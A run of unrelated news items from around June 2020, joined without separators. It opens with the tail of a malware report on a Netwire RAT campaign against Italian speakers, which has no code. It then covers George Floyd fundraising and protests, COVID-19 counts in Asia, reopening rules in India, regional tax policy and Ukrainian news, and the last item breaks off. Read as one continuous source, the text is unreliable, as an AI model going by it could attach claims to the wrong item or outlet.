However, this particular kind of manipulation and obfuscation schema is not new to us. In fact, especially when dealing with the powershell stages, we noticed some variable and name structures was quite similar to one of our the last report about a recent Aggah Campaign insisting on the Italian Manufacturing industry.

The decoding function of the payloads is the same, despite the variable names. In addition, the variable names $MNB and blindB have been conserved. Potentially, this could also mean part of these techniques are reused by other actors insisting on the Italian landscape or also the Aggah actor is probing a different infection chain.

Figure 15: Similarities between Netwire campaign and Aggah Campaign

Conclusion

During the years, Netwire RAT gained lots of success and cyber actors adopted it to infect their victims, even state sponsored groups such as APT33 (Refined Kitten) and Gorgon Group included it in their arsenal, remembering us even the so-called commodity malware could represent a serious threat, especially when managed by experienced attackers able to re-package it to evade detection, leveraging consolidated operational practices to speed up cyber attacks.

The particular campaign we observed shows clear elements indicating the desired target of the attack are italian speaking. It also shows interesting similarities with techniques adopted during recent operations against italian manufacturing sector, that, even if unconfirmed, suggests there could still be low-footprint ongoing operations.

Additional details, including Indicators of Compromise (IoCs) and Yara Rules are available in the report published here:

Pierluigi Paganini

(SecurityAffairs  Netwire, malware)

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The death of George Floyd is causing a significant impact around the world in ways we haven't seen before. The incident has inspired numerous people to donate to his GoFundMe campaign, which was initially launched over a week ago.

In all of GoFundMe, the Official George Floyd Memorial Fund has received the most individual donations out of other campaigns on its website, according to a GoFundMe spokesperson.

Over 500,000 donations and it keeps getting higher, which means the fundraising campaign has collected about $13,000,000. Over a hundred countries have donated to the campaign, which shows that George Floyd's death has impacted the whole world.

Where Will The Funds Go?

Philonise, the brother of George Floyd, has stated that the funds from the campaign will be used to pay for the funeral and burial. It will also help provide the family with counseling. The court proceedings will have the family needing to pay for travel and accommodation, so that's also a portion of the expenses that the donations will pay for.

Most importantly, it will help the Floyd family move forward and assist them in seeking justice for George Floyd.

Some of the campaign's funds will also go into George Floyd's estate, which will be used to take care of his family and provide funds to use for their education.

The first of four memorials held for George Floyd occurred in Minneapolis on Thursday. A second memorial will take place on Saturday in North Carolina. The third and fourth memorials will be held in Houston sometime next week.

Read Also: [VIDEO] Before His Death, George Floyd Uploaded A Video Online As A Message To The Youth

What Are The Other Most Donated To GoFundMe Campaigns?

The second most donated to the campaign on GoFundMe happened almost two years ago. On December 8, a fundraiser was launched aiming to raise money to build a wall extending throughout the southern border of the United States of America. It has over 300,000 donations, but it raised more than $25,000,000.

The third most donated to the GoFundMe campaign is a COVID-19 campaign that raised funds for beds meant for the intensive care units in Italy, where the pandemic ravaged horribly. The campaign received more than 200,000 donations in 3 months.

Read Also: [VIRAL] 16-Year-Old Rioter Won't Be Convinced By Black Man's Tearful Begs To Change His Approach
Source: Xinhua| 2020-06-05 17:16:54|Editor: huaxia

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DHAKA, June 5 (Xinhua) -- Bangladesh reported 2,828 more COVID-19 cases on Friday, bringing the total in the country to over 60,000.

"A total of 30 deaths including 23 men and seven women were reported in the last 24 hours, taking the death toll to 811," Nasima Sultana, a senior Health Ministry official, told an online media briefing in Dhaka.

"The number of confirmed infections in the country totaled 60,391 on Friday," she said.

Bangladesh recorded the highest daily cases of 2,911 on June 2.

According to the official, 14,088 samples were tested in the last 24 hours across Bangladesh.

Also during the last 24 hours, 643 more patients were released from hospitals and clinics, bringing the number of recovered patients in the country to 12,804. Enditem
An inquiry is being launched by the human rights watchdog to address racial inequalities highlighted by the coronavirus pandemic.

The Equality and Human Rights Commission (EHRC) has announced it will carry out the inquiry after Public Health England (PHE) published a review into the disparities within ethnic minorities from COVID-19.

The initial review, commissioned by the government, left many with "widespread concerns" and "doesn't go wider to address inequalities that exist", the chairman of the EHRC said.

After accounting for the effect of sex, age, deprivation and region, the PHE review found people of Bangladeshi ethnicity are about twice as likely to die from coronavirus than white British people.

Those of Chinese, Indian, Pakistani, other Asian, Caribbean and other black ethnicity have between a 10% and 50% higher risk of dying from COVID-19 compared with white British people.

In-depth analysis from the commission will deliver evidence-based recommendations for urgent action to tackle racial and social inequalities, which they believe has led to the disproportionately high number of black, Asian and minority ethnic (BAME) deaths during the pandemic.

Differences in opportunities across England, Scotland and Wales will also be looked into.

EHRC chairman, David Isaac, told Sky News: "I'm keen that a number of things happen and the voices of BAME communities are heard.

"We need to learn the lessons quickly in relation to the data that exists and the vulnerabilities. Whether it's in relation to education, the health sector or the work place.

"We need to take equalities into account as a top table issue as we address these matters long term. We cannot afford to take risks with people's lives and equality is essential to building better lives."

He criticised the government's review for saying "what we were expecting it would tell us" but not expanding on that.

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"We're concerned that the equality issues are taken into account and respond to the issues and understand them better and come up with long term, coherent responses to address the inequalities that exist," he added.

"There have been calls for many people now to tackle this issue and I believe now is the best moment in a generation to proceed with these responses.

"We need to take this call for action very seriously."

Transport Secretary Grant Shapps highlighted how equalities minister Kemi Badenoch would now be taking forward the PHE report in order to make recommendations.

:: Listen to the All Out Politics podcast on Apple Podcasts, Google Podcasts, Spotify, Spreaker

Highlighting the novelty of the coronavirus pandemic, he told Sky News: "Three months ago we wouldn't have been having these conversations about COVID-19.

"Tha facts had to be established and the PHE report laid those facts out.

"Indeed it is the case that this is something that has disproportionately affected those communities, those minority communities.

"So it's absolutely right Kemi is going to take this forward and make actual recommendations.

"But let's not pretend there's some sort of magic solution to these things, we've got to find out why it's happening first, which the report started to do."

Ms Badenoch admitted the government report "hasn't gone far enough" but said "this is one of the best countries in the world to be a black person".

She said: "There was more I was hoping to see from this review, but Public Health England couldn't collect the data for morbidities, occupation and underlying health conditions.

"We were not able to make recommendations because this data wasn't possible to collect."

Shadow equalities secretary Marsha De Cordova welcomed the EHRC inquiry, but was still concerned no recommendations and policy had been made following the PHE review.

She told Sky News: "What I'm hoping this inquiry will do, is actually begin to start to talk about, and come up with, some strong recommendations about what action the government must take, with clear measures and clear timelines put in place.

"I believe they are letting down the BAME community. They had an opportunity to actually come forward with proper proposals and to address the inequalities and they failed to do that."

But, many organisations who submitted their own analysis to the PHE review are angry after their findings did not feature in the final publication.

The Muslim Council of Britain (MCB) sent a 15-page document with their own recommendations on what should be done to tackle the issue and help protect lives in the future.

Miqdaad Versi, assistant secretary general of MCB, said: "It's very disappointing when many organisations, including the Muslim Council of Britain, put significant effort into trying to support the government in finding the best solutions and recommendations that can help our country tackle these problems of structural inequality that are there in our society, and that's entirely disregarded."

He cautiously welcomed the inquiry, claiming the organisation has not yet investigated the Conservative Party for Islamophobia, something the MCB has been calling for.

A government spokesman said: "The Equalities Hub will be continuing the work started by Public Health England on disparities in the risks and outcomes of COVID-19.

"This will develop our understanding and shape our ongoing response to coronavirus.

"The government is committed to levelling up and spreading opportunity around this country. This will be a hugely important part of the economic and social recovery from the pandemic."
Adar Poonawalla, Chief Executive Officer, Serum Institute of India, Pune shares the latest contribution of his company towards the COVID-19 fight

Serum Institute of India (SII) is delighted to partner with AstraZeneca in bringing the Oxford vaccine to India as well as low and middle-income countries. Over the past 50 years SII has built significant capability in vaccine manufacturing and supply globally. We will work closely with AstraZeneca to ensure fair and equitable distribution of the vaccine in these countries.

Adar Poonawalla, Chief Executive Officer, SII, Pune
Dotted throughout the crowd of around 200 protesters of George Floyds death on the steps of the Capitol Thursday evening, many of the faces were those of Madisons youth.

An organizer yelled over the crowd for protesters to cheer if they were in their teens, 20s, 30s, 40s or 50s. Overwhelmingly, the cheers of those in their teens and 20s boomed the loudest.

Although daytime protests of police violence have been led by local organizations Freedom, Inc. and Urban Triage, the organizing force behind the demonstrations at the Capitol have been more organic. Those in attendance say many of the organizers are Madisons teens.

These kids are the organizers, said Ebony Anderson-Carter, 29. This aint about me. Its about them.

Kristian Rynes, 19, said he hopes that after the protests no one will have to be scared of the police anymore.

Its a revolution, Rynes said. Its the future.

The protest started at the Capitol with tables set up with food and another table for registering voters. As the group grew from around 200 to 500, protesters heard from speakers and marched down East Washington Avenue.
Ramkrishna Badseshi By

Express News Service

KALABURAGI: Karnataka government would provide employment to migrant labourers who have returned from Maharashtra to the state if they were ready to work under MGNREGA, said the Minister for Rural Development and Panchayat Raj here on Friday.

In an exclusive interview with Express, Minister K S Eshwarappa said that before providing employment, the concerned officials would verify on whether the migrant labourers intending to work under MGNREGA have completed mandatory quarantine period of 28 days. The work would be given only to those who have completed quarantine period.

To a question, the minister said that there is sufficient funds for providing work to any number of labourers who comes for work under MGNREGA. They would be given work for 150 days in a year and would be given Rs. 275/- as daily wages. The amount would be credited to their account by the union government every fortnight, he clarified. He also said that work in the field should not be deemed as personal work as it would be the asset for the country.

Answering a question on the nomination for 2 MLC posts falling vacant being represented by leaders of Kalaburagi at present, Eshwarappa said that the State Core Committee Meeting of BJP would be held at Bengaluru at 5.00 P. M. on Saturday and it would select the names for the Rajya Sabha elections and would also hold discussions with regard to nominating to the Legislative Council. The decision of the core committee would be unanimous and final, he said.

When his attention was drawn on the meeting of dissidents of BJP, the senior leader of BJP said that meeting by some of the leaders/ MLAs of BJP should not be considering as the meeting of the dissidents. If they have discussed about weakening the party, then only it would become anti-party activity, he observed.
STATEN ISLAND N.Y. -- Providing you with the latest headlines to start out your day.

Multimedia journalist, Alex Salmieri talks about todays planned protest, Assistant Chief Kenneth Corey squashes rumors of violence on Staten Island, the city-wide curfew and more.

Watch A.M. with Alex to find out more about todays top headlines.

Are you on the frontlines of the coronavirus outbreak? If so we are looking to hear from you. Email asalmieri@siadvance.com
The decision is due to gross violations by Kyiv prosecutors in handing the suspicion notice in line with the Criminal Procedure Code.

The Appeals Chamber of the Supreme Anti-Corruption Court has repealed the ruling of the lower-instance court to remand in custody ex-Minister of Health Raisa Bohatyriova, the HACC press service reports.

The decision is due to the failure by Kyiv prosecutors to hand the former official the suspicion notice in line with the Criminal Procedure Code.

The HACC has thus satisfied the appeal on the part of the suspect's defense team on the ruling of Pechersk District Court of August 28, 2019, to remand Bohatyriova in custody, while setting bail as an alternative.

The HACC also explained that the Pechersk District Court's judge failed to eliminate the said obvious violations of criminal procedure during the hearing.

As UNIAN reported earlier, former Ukrainian Health Minister Raisa Bohatyriova was detained by border guards at Kyiv's Zhuliany Airport upon her arrival in Ukraine.

Read alsoCourt rules to arrest ex-Health Minister Bohatyriova, sets US$238,663 bail

Bohatyriova had been on the run since 2014 after she was charged with embezzlement of budget funds in 2012 in the amount of UAH 6.5 billion (US$258.5 million) on medication and equipment procurement.

Kyiv's Pechersk district court on August 28, 2019, ruled to take Bohatyriova into custody for two months, setting bail at UAH 6 million ($238,663).

MP Vadym Novynskyi posted the relevant bail on August 29.
Work in the New York-New Jersey-Connecticut tri-state region will never be quite the same. During the coronavirus lockdown, tens of thousands of office workers who once commuted an hour or more to jobs in Manhattan have worked from home, often quite happily despite the challenges of being with their family during the workday. Businesses once wary of potential productivity losses have been pleasantly surprised, and many are now reevaluating their need for an expensive footprint in midtown or downtown Manhattan. Although Manhattans commercial real estate sector will probably retain its central role in the regional economy, businesses and their employees will be wary of returning wholesale to the pre-pandemic paradigm of high-density offices.

Alongside other economic and social impacts, a future that includes more flexible and remote work arrangements will surely disrupt the pre-crisis allocation of tax burdens between New York and its neighboring states. To prevent wasteful bureaucratic border wars and avoid imposing impossible complexity and uncertainty on taxpayers, the governors of New York, New Jersey and Connecticut along with New York City Mayor Bill de Blasio should task their senior tax administrators with negotiating a regional compact to address both short- and long-term tax issues arising from the COVID-19 crisis. Billions of dollars and our regions long-term competitiveness are at stake.

What would such a compact or agreement encompass? Given the sudden increase in remote work, the initial focus should be on updating administrative rules and practices with respect to the tax treatment of employees who have ceased to commute across state lines and who are now working from home.

Under long-established principles of interstate taxation, employees pay state income tax to the jurisdiction where they earn their income (and generally receive a credit against their resident income taxes for any taxes paid to another jurisdiction). So, for example, a New Jersey resident who commutes to a job in Manhattan pays nonresident income tax to New York State on her income earned in New York; her New Jersey tax bill is reduced due to the New York tax paid.

But what if New Jersey residents work remotely for a New York-based company or the New York office of a company based in, say, California? Prior to the COVID-19 crisis, the states in our region (led by New York) generally took the position that they were still liable for nonresident taxes in respect of days worked at home in another state unless their work at home was by necessity, as distinct from convenience. Stated alternatively, they would be responsible for New York nonresident taxes unless the nature of their work required them to work in New Jersey, for example if they were responsible for a sales territory that included only New Jersey.

This subjective approach, difficult to enforce without exposing taxpayers to intrusive audits and the risk of double taxation, has long been a cause of considerable tax tension across our region. The pandemic crisis has exacerbated this tension and related administrative problems, presenting an immediate issue as to whether working from home under lockdown orders constitutes employer necessity. Although the answer may seem obvious  yes, days working at home under lockdown should not be subject to nonresident income tax  the short- and long-term implications are not. Over the short term, for example, New Jersey and Connecticut might be tempted to welcome a windfall of income tax revenue at New Yorks expense. But caution is indicated. New York state would no doubt fight to protect its tax base with every means at its disposal, including more audits and expanded tax incentives. If the other states respond in kind, the resulting border wars will inevitably burden both employers and employees throughout the region while, counterintuitively, generating less tax revenue.

The issues extend beyond the nonresident income tax. For example, will the states in our region count days sheltering or caring for a family member outside ones domiciliary (or home) state during the pandemic toward the 183-day statutory threshold for applying resident income tax? What about New York City residents who spent most of this year at second homes in New Jersey or Connecticut to avoid the worst of the COVID-19 outbreak in the city? Similarly, will New York and its neighbors impose corporate income tax on a company whose only contact with the taxing state is an employee working from home under a coronavirus lockdown? Although the states have already signaled some short-term flexibility on this question, what will happen as employers and employees settle into sustained remote work arrangements post-crisis?

These are just a few of the tax issues that should be addressed as part of reopening our regional economy. Its a challenging agenda but there is some good news. All the jurisdictions have strong technical staff and a history of interjurisdictional cooperation. Our region boasts a depth of nongovernmental expertise including an active community of tax practitioners who have already expressed an interest in contributing their expertise.

Despite historic rivalries, the economic futures of New York, Connecticut, and New Jersey will remain inextricably bound together. Although some level of tax competition is healthy, negotiating a tax compact offers a chance to coordinate tax policies and practices across the region to avoid wasteful bureaucratic border wars, reduce uncertainty for taxpayers and employers, and protect our regions competitive position.
Vietnam goes through 50 days without local transmission of COVID-19

Vietnam had no COVID-19 cases to report on June 5 morning, marking it 50 days in a row without new infections in the community, according to the National Steering Committee for COVID-19 Prevention and Control.

Among the total 328 cases, 188 were imported and quarantined right upon arrival.

Currently, 8,143 people having close contact or entering pandemic-hit areas are quarantined at hospitals, concentrated quarantine establishments, and home.

The committees treatment subcommittee reported that 302 patients have been given all-clear, making up 92.1 percent of the total infections.

It added that 26 patients are being treated at health facilities, including seven who tested negative for SARS-CoV-2 once and seven twice or more./.

Committee reviews quarantining of foreign arrivals

Deputy Prime Minister Vu Duc Dam, head of the National Steering Committee on COVID-19 Prevention and Control, chaired a meeting of the committee in Hanoi on June 4 to discuss the countrys ongoing pandemic response.

Deputy Minister of Health Nguyen Thanh Long said the ministry has set up teams to inspect quarantine work in the provinces of Ba Ria - Vung Tau, Quang Ngai, Bac Ninh, and Thai Nguyen, and the quarantining of flight crews at several hotels in Hanoi.

The ministry will shortly enhance its inspection over the quarantining of foreign experts elsewhere around the country.

More than 1,800 experts are now under quarantine and about 2,700 others will arrive in June and July.

The committee asked ministries, agencies, and localities to continue with quarantine measures in accordance with the ministrys guidelines.

They also discussed the return of Vietnamese expats, investors, technical experts, highly-skilled workers, and corporate executives to the country.

Participants agreed with the ministrys suggestion of offering exemption of certificates proving negative testing to SARS-CoV-2 for technicians, highly-skilled workers. and investors when they enter Vietnam.

They highlighted the need to perform compulsory 14-day quarantining and taking samples from foreign arrivals for testing.

Army units are responsible for monitoring the quarantining of Lao, Cambodian, and Chinese students at concentrated dormitories.

According to the Health Ministry, Vietnam had reported 328 COVID-19 infections as of June 4, 302 of whom had fully recovered, or 92 percent of the total.

The country also reported its 49th day in succession without community transmission./.

Malaysia records highest number of COVID-19 infections in a day

Malaysia recorded 277 new COVID-19 infections on June 4, a record since the pandemic broke out in the country in February.

However, the country entered the 13th day in a row without deaths which still total 142.

Among the new infections, 271 were foreigners.

As of noon the same day, Malaysia confirmed 8,274 cases, 6,559 of them fully recovered.

In the Philippines, the Department of Health announced a total of 20,382 cases after confirming additional 634 infections the same day.

There were 984 fatalities and 4,248 recovered patients.

Meanwhile, Indonesia reposted 585 new cases, raising the total to 28,818.

Twenty three more deaths brought the total to 1,721.

Indonesian President Joko Widodo also ordered relevant authorities to double COVID-19 tests as the country is gearing up for a new normal scenario.

The country has planned to reopen economic activities, particularly those in the areas where the virus infection has been obliterated or subdued, along with the implementation of a new normal scenario./.

Thailand tests COVID-19 vaccine on crab-eating macaques

A team of Thai COVID-19 vaccine researchers on June 3 revealed that it had passed its testing of the mRNA vaccine prototype onto guinea pigs and now it is being tested on crab-eating macaques.

If successful, human trials will start by early this October, according to Dr. Kiat Ruxrungtham, chair of Chulalongkorn University's Chula Vaccine Research Centre.

He added that if things go as planned, Thailand will have its own COVID-19 vaccine next year.

Afterwards, the vaccine will be provided to other ASEAN members including Laos, Myanmar, Cambodia, Vietnam, Malaysia and Indonesia as well as Pakistan that is not a member of the bloc.

As of June 4, Thailand had recorded 3,101 COVID-19 cases with 58 deaths.

Japan provides aid to Vietnam for COVID-19 fight

The Japan International Cooperation Agency (JICA) has provided aid packages worth 80 million JPY (US$733.300) to support Viet Nams countermeasures against COVID-19.

The first part of the aid package worth 60 million JPY ($550,000) to Cho Ray Hospital in HCM City includes 2,000 copies of the Nosocomial Infection Control Manual, handed over to the Cho Ray Hospital by JICA Vietnam Office on Wednesday.

Another package worth 20 million JPY ($183,300) will be given to six provincial Centres of Disease Control (CDCs) in Nam inh, Ha Giang, Bac Giang, Vinh Phuc, Kien Giang and Tra Vinh provinces.

With technical input from JICA experts, Cho Ray Hospitals Department of Infection Control developed the manual which is expected to improve infection control activities at the Cho Ray Viet Nam-Japan Friendship Hospital and 21 provincial hospitals in the southern region, which are under Cho Ray Hospitals guidance and support.

Speaking at a meeting with a delegation of the JICA Vietnam Office at Cho Ray Hospital on Wednesday, Nguyen Tri Thuc, director of Cho Ray Hospital, said the hospital was one of the first hospitals in Viet Nam to receive support from JICA, beginning in 1969.

The hospital is working with JICA to build the Cho Ray Viet Nam -Japan Friendship Hospital, Thuc said.

JICA has helped Cho Ray Hospital improve patient safety management and develop a multi-professional approach and infection control through the Improvement of Hospital Management Competency project that targets patient-oriented and high-quality medical services.

The project also improves hospital management capabilities.

In August 2019, to strengthen Cho Rays nosocomial infection control capacity, the JICA project provided training on usage of personal protective equipment to doctors and nurses at the hospital.

Prior to the first confirmed patient with COVID-19 in January at Cho Ray, JICA experts provided materials and conducted training sessions on nosocomial infection control at the hospital.

Since 2006, JICA has installed biosafety level-three laboratories that enable safe handling of highly hazardous pathogens at the National Institute of Hygiene and Epidemiology (NIHE) and the Pasteur Institute in HCM City (PIHCMC).

JICA has also offered help to improve laboratory diagnoses of infectious pathogens. Based on this support, NIHE and PIHCMC have been able to test for COVID-19.

JICA experts are working with NIHE and PIHCMC to strengthen the examination capabilities and collaboration network of provincial CDCs in Viet Nam.

93% of Vietnamese COVID-19 patients make successful recovery from virus



An additional three more novel coronavirus (COVID-19) patients were able to be discharged from hospital on June 5, seeing the number of fully recovered patients rise to 305, representing 93% of the total, with only 23 positive cases remaining in the country.

Each of the released cases were Vietnamese citizens who had recently been repatriated from Russia, a country hit hard by the COVID-19, with each individual being immediately placed into quarantine upon their arrival in the nation.

Indeed, the patients No. 293, No. 302, and No. 320 were all confirmed to have tested positive for the virus on May 18.

Following the recovery of each member of the group, the trio were successful discharged from the National Hospital for Tropical Diseases in Hanoi after recording two consecutive negative tests for the COVID-19.

Each individual remains in stable health condition and is displaying no symptoms of the virus, such as a fever, a cough, or shortness of breath.

Moreover, the group will now be placed into isolation in their hometowns in Nghe An province, Hai Phong city, and Nam Dinh province, respectively, in order to undergo a mandatory 14-day observation period to ensure there is no possibility of the virus reoccurring.

As of June 5, the nation has gone over 50 consecutive days without any locally transmitted COVID-19 cases. Furthermore, 305 people out of a total of 328 COVID-19 cases have since gone on to make a full recovery from the virus nationwide, equivalent to 93% of all patients, with no deaths reported as a result of the virus.
Northern Irish expats caught up in the US street disturbances have told of the fear and horror gripping their adopted communities.

At least 40 American cities have imposed strict curfew measures after days of civil unrest sparked by the killing of George Floyd.

His death has led to deep anger over police brutality and racial injustice in America, bringing thousands of people onto the streets in protest.

Omagh-born producer Phelim McAleer (53) lives in Venice, California, with his wife Ann. The couple produce the podcast The Ann and Phelim Scoop.

He said there was a "criminal element" to the trouble.

"On Sunday I was over in Santa Monica, our neighbouring beach community, covering the rally that was going on there for the podcast," he said. "They were blocking the roads and other people were looting.

"Santa Monica is a very affluent and prosperous community. I saw looters go into dozens of shops. It was shocking to see. They were like locusts, swarming in and completely cleaning it out in minutes. It was an amazing sight to see. Windows were smashed and everything gone from the shops.

"That's one of the main differences with Northern Ireland riots, the widespread looting.

"It's also very unpredictable because a criminal element is going to the protests - and they don't care - so there is an unpredictability where violence can just erupt without warning."

Mr McAleer said there is fear in the community, saying people are worried.

He added: "I would compare it to the worst days of the Troubles where people went about their business most of the time, but in times of stress people were afraid to go out or into the city centre.

"That's what it's like here. People are not going out. And there's a curfew on also. We have to be indoors by 6pm."

Mr McAleer said that the disturbances have hit the community hard.

West Belfast video producer Stevie Kane (43) lives in south Minneapolis with his wife Harmony and their one-year-old daughter.

He lives close to one of the flashpoints, adding that he is on the "very edge of the 'heat map'".

Mr Kane added: "We live in an affluent area so the idea that it might come near my house is highly unlikely. But right around the corner from us one of the petrol stations was on fire the other day, so there has definitely been property damage near us.

"We are about a five minute drive away from the main hot spots. So we are in the area, but I don't have much concern for my home, but my wife does. It's probably because I grew up with this kind of thing - not all the time, but some of the time.

"The atmosphere here in Minneapolis is really grim at the moment. I had to go across town to collect some things from a friend's house yesterday. He lives closer to the hot spots. As I was driving I could see that everything was boarded up. People are writing 'BLM - Black Lives Matter' on the boards or that property is 'black owned' there too."

Mr Kane believes that Mr Floyd's killing has resulted in a 'sea change' in America.

He added: "The big thing with regards the George Floyd situation that concerns me is that this is how high the bar has to be for people to pay attention.

"I'm seeing a lot of conservatives in positions of authority saying that it is terrible what happened to George. I agree, but they didn't say the same thing when Philando Castile was shot dead by a police officer in 2016. They weren't saying the same thing because he had a weapon.

"This is how high the bar has to be to get right wing conservatives on board with the idea that policing is maybe not perfect. You have to crush a guy's windpipe with your knee for nine minutes on camera."
The Ministry of Home Affairs on Thursday released the guidelines for malls, restaurants as well as the patrons that would need to be followed once these establishments open on June 8. The guidelines will come into effect on Monday. Mall and restaurant owners would have to ensure that there visitors go to these places in a staggered manner. Moreover, basic precautions such as hand hygiene, physical distancing and wearing of masks would be ensured by the mall and restaurant authorities. However, cinema halls, gaming arcades and play area for children will remain closed. Malls and restaurants within containment zones would continue to remain closed.

Here's the full list of guidelines for malls and restaurants:

RESTAURANTS

i. Takeaways would be encouraged, instead of dining-in. Food delivery personnel should leave the packet at the customer's door and not hand-deliver directly.

ii. Restaurants must screen home-delivery staff.

iii. Hand hygiene (sanitiser dispenser) and thermal screening mandatory at entrance.

Also read: Unlock 1.0: Restaurants to encourage takeaways, seat 50% of total capacity

iv. Only asymptomatic staff and patrons would be allowed.

v. Face cover,masks must be worn at all times inside the restaurant. And only patrons and staff with face masks would be allowed inside.

vi. Posters, standees, AV media on preventive measures about COVID-19 to be displayed prominently.

vii. Staggering of patrons to be done, if possible.

viii. Restaurant management must ensure social distancing norms with adequate manpower.

ix. All employees who are at higher risk to take extra precautions. They should preferably not be exposed to any front-line work requiring direct contact with the public.

x. There must be proper crowd management in the parking lots and outside the premises.

xi. Additional patrons to be seated in a designated waiting area with norms of social distancing.

xii. Valet parking, if available, shall be operational with operating staff wearing face covers, masks and gloves as appropriate.

xiii. To ensure social distancing, specific markings may be made with sufficient distance.

xiv. Preferably separate entry and exits for patrons, staff and goods, supplies shall be organised.

xv. Required precautions while handling supplies, inventories and goods in the restaurant shall be ensured. Proper queue management and disinfection shall be organised.

xvi. Maintaining physical distancing of a minimum of 6 feet, when queuing up for entry and inside the restaurant as far as feasible.

xvii. Seating arrangement to be made in such a way that adequate social distancing is maintained. In restaurants, not more than 50 per cent of seating capacity to be permitted.

Also read: Delhi containment zones double in 15 days; check complete district-wise list

xviii. Disposable menus are advised to be used.

xix. Instead of cloth napkins, use of good quality disposable paper napkins to be encouraged.

xx. Buffet service should also follow social distancing norms among patrons.

xxi. Number of people in the elevators shall be restricted, duly maintaining social distancing norms.

xxii. Use of escalators with one person on alternate steps may be encouraged.

xxiii. For air-conditioning, ventilation, the guidelines of CPWD shall be followed.

xxiv. There must be no large gatherings or congregations.

xxv. Effective and frequent sanitation within the premises shall be maintained with particular focus on lavatories, drinking and hand washing stations, areas.

xxvi. Cleaning and regular disinfection of frequently touched surfaces such as door knobs, elevator buttons, hand rails, benches, washroom fixtures, etc mandatory.

xxvii. Proper disposal of face covers, masks, gloves left over by patrons, staff should be ensured.

xxviii. Deep cleaning of all washrooms shall be ensured at regular intervals.

xxix. Adequate crowd and queue management must be ensured.

xxx. Staff and waiters should wear masks and hand gloves and take other required precautionary measures.

xxxi. Contactless mode of ordering and digital mode of payment (using e-wallets) to be encouraged.

xxxii. Tables to be sanitised each time a customer leaves.

xxxiii. In the kitchen, the staff should follow social distancing norms. Kitchens area must be sanitised at regular intervals.

xxxiv. Gaming arcades and children play areas (wherever applicable) shall remain closed.

Also read: Lockdown impact: April tax revenues for 3 states show up to 70% shortfall; Kerala worst hit

MALLS

I. Entrance to have mandatory hand hygiene (sanitiser dispenser) and thermal screening provisions.

ii. Only asymptomatic customers shall be allowed.

iii. All workers, customers, visitors must use face covers and masks at all times. Patrons without face masks and covers would not be allowed to enter.

iv. Posters, standees, AV media on preventive measures about COVID-19 to be displayed prominently.

v. Staggering of visitors to be done, if possible.

vi. To ensure social distancing, adequate manpower shall be deployed by the management.

vii. All employees who are at higher risk to take extra precautions. They should preferably not be exposed to any front-line work requiring direct contact with the public.

viii. Proper crowd management in the parking lots and outside the premises to be ensured.

ix. Valet parking, if available, shall be operational with operating staff wearing face covers or masks and gloves as appropriate.

x. Any shops, stalls, cafeteria etc., outside and within the premises shall follow social distancing norms at all times.

xi. To ensure social distancing, specific markings may be made with sufficient distance.

xii. Preferably separate entry and exits for visitors, workers and goods, supplies shall be organised.

xiii. Home delivery staff shall be screened thermally.

xiv. Required precautions while handling supplies, inventories and goods in the shopping mall shall be ensured. Proper queue management and disinfection shall be organised.

xv. Maintaining physical distancing of a minimum of 6 feet, when queuing up for entry and inside the shopping mall as far as feasible.

Also read: Haryana schools to reopen in July, colleges in August; classes to be held in shifts

xvi. Number of customers inside the shop to be kept at a minimum, so as to maintain the physical distancing norms.

xvii. Seating arrangement, if any, to be made in such a way that adequate social distancing is maintained.

xviii. Number of people in the elevators shall be restricted, duly maintaining social distancing norms.

xix. Use of escalators with one person on alternate steps may be encouraged.

xx. For air-conditioning, ventilation, the guidelines of CPWD shall be followed.

xxi. There would be no large gatherings or congregations.

xxii. Effective and frequent sanitation within the premises shall be maintained with particular focus on lavatories, drinking and hand washing stations, areas.

xxiii. Cleaning and regular disinfection of frequently touched surfaces such as door knobs, elevator buttons, hand rails, benches, washroom fixtures, etc. mandatory in all malls in common areas as well as inside shops, elevators, escalators etc.

xxiv. Proper disposal of face covers, masks, gloves left over by visitors, employees should be ensured.

xxv. Deep cleaning of all washrooms shall be ensured at regular intervals.

xxvi. In the food-courts:

a. Adequate crowd and queue management to be ensured to ensure social distancing norms.

b. In food courts and restaurants, not more than 50 per cent of seating capacity to be permitted.

c. Food court staff, waiters should wear masks and hand gloves and take other required precautionary measures.

d. The seating arrangement should ensure adequate social distancing between patrons as far as feasible.

e. Contactless mode of ordering and digital mode of payment (using e-wallets) to be encouraged.

f. Tables to be sanitised each time a customer leaves.

g. In the kitchen, the staff should follow social distancing norms.

xxvii. Gaming arcades shall remain closed.

xxviii. Children play areas shall remain closed.

xxix. Cinema halls inside shopping malls shall remain closed.

Also read: Coronavirus: Authors retract Lancet article that found HCQ risks
Ligon said people do not understand the Gary Police Department cannot answer questions about the investigation into the officer involved in Cunninghams killed because it is not handling the investigation. The Lake County Sheriffs Department is investigating the shooting and when finished the information goes to the Prosecutors office to see if charges will be filed.
The Wall project has been under construction since 2015 as a defense complex to counter Russian aggression.

The State Border Guard Service of Ukraine implemented the Wall project on the border with the Russian Federation by 40% as of the end of May 2020.

The relevant figure was mentioned by the border guards in response to a request from analysts of Ukrainian NGO StateWatch.

Read alsoZelensky comments on possible "wall" in Donbas

The Wall project is financed under the Border Engineering Measures budget program of the State Border Guard Service. The department is controlled by the Ukrainian Interior Ministry headed by Arsen Avakov.

The program provides for the allocation of UAH 400 million (US$14.9 million) in 2020, of which UAH 53 million (US$1.9 million) was spent as of June 1.

The Wall project has been under construction since 2015 as a defense complex to counter Russian aggression. A total of UAH 1.7 billion (US$63.6 million) has been spent on the project for five years.

The project was supposed to be completed in 2018, but later was postponed until 2021.

The State Border Guard Service says the deadlines of the project and its completion should be rescheduled for 2025 due to a decrease in the funding and an increase in the costs of work. A draft of the relevant resolution has already been submitted to the Cabinet of Ministers of Ukraine.
Thousands of protesters from different cities and states of the United States gathered together to show their support for the black community and the Black Lives Matter movement. This occurs after the death of George Floyd, who was killed by Minneapolis police officer by kneeling on his neck, causing choke.

But there's a looming threat ahead apart from the rubber bullets: the novel coronavirus infection or COVID-19.

Higher Risks of COVID-19 Infection

Besides the fact that people have been gathering and are avoiding social distancing while protesting, experts also warned that the tear gas that the riot police are using could increase the chances of protesters of getting infected with the virus.

In a Daily Mail report, several infectious disease experts are urging the police to discontinue tearing gas through an online petition.

Tear gas is an irritant used by the police and the army since World War I to "make people unable to function" as it's designed to irritate the eyes, throat, and nose, with instantaneous effects.

It is made from chlorobenzylidenemalononitrile or CS gas, while some police forces use chloroacetophenone (CN), which is another alternative.

Read Also: Study Shows Hydroxychloroquine Does Not Prevent COVID-19; Countries Continue to Prescribe the Drug

How Could Tear Help Spread the Virus?

